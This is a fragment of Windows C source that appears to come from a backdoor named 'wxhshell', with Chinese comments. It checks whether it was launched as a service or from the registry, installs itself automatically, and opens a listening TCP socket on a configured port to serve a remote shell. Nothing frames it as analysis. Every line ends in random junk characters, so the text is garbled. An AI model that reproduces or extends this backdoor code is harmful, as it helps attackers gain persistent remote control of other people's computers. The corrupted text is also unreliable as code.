ULONG InheritedFromUniqueProcessId; g71|t7Q
} PROCESS_BASIC_INFORMATION; RX6s[uQ
h^aUVuL/
PROCNTQSIP NtQueryInformationProcess; o+F]80CH
*s[bq;$
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ph Ep3o&"
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2J0N]`|)
UL<*z!y
HANDLE hProcess; V
'e_gH
PROCESS_BASIC_INFORMATION pbi; zmdu\:_X9
lQ!)0F
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ){S/h<4m
if(NULL == hInst ) return 0; yD\[`!sWk
3g''j7
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _`LQnRp(
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +w(>UBy-
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n)6mfoe
P S [ifC
if (!NtQueryInformationProcess) return 0; ~Q36lR
tuWJj^
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !y 7SCz
g
if(!hProcess) return 0; d4[mR~XXT
hDAxX=FM
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L-V+ `![{
s J~WzQ
CloseHandle(hProcess);
,R8:Y*@P
8O='Q-&8
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^9wQl!e
ob
if(hProcess==NULL) return 0; N sNk
gxf{/EjH
HMODULE hMod; c(5r
char procName[255]; [\ALT8vC?m
unsigned long cbNeeded; nPh|rW=
AQR/nWwx
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fAHf}j
lf?dTPrD
CloseHandle(hProcess); N-cLp}D}WB
1GA$nFBVC
if(strstr(procName,"services")) return 1; // 以服务启动 .*_uXQ
[<H'JsJl
return 0; // 注册表启动 2zQ62t}
} AFN"#M
!`$xN~_
// 主模块 5q Y+^jO]o
int StartWxhshell(LPSTR lpCmdLine) }63Qh}_Y
{ 0S}ogU[k
SOCKET wsl; *W&}}iL
BOOL val=TRUE; zFpM\{`[g
int port=0; /6@~XO)w
struct sockaddr_in door; M,V~oc5
:
#om6}
if(wscfg.ws_autoins) Install(); B>=NE.ulUL
XNd%3rm,
port=atoi(lpCmdLine); KDQqN]rg
08 $y1;
if(port<=0) port=wscfg.ws_port; :<w2j6V
qzbpLV|
WSADATA data; qY^@^)b[
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rz'A#-?'oG
zJ9[),;7B
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; v0|[w2Q2
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d=J$H<
door.sin_family = AF_INET; MfJ8+3@K
door.sin_addr.s_addr = inet_addr("127.0.0.1"); dd{pF\a
door.sin_port = htons(port); +&j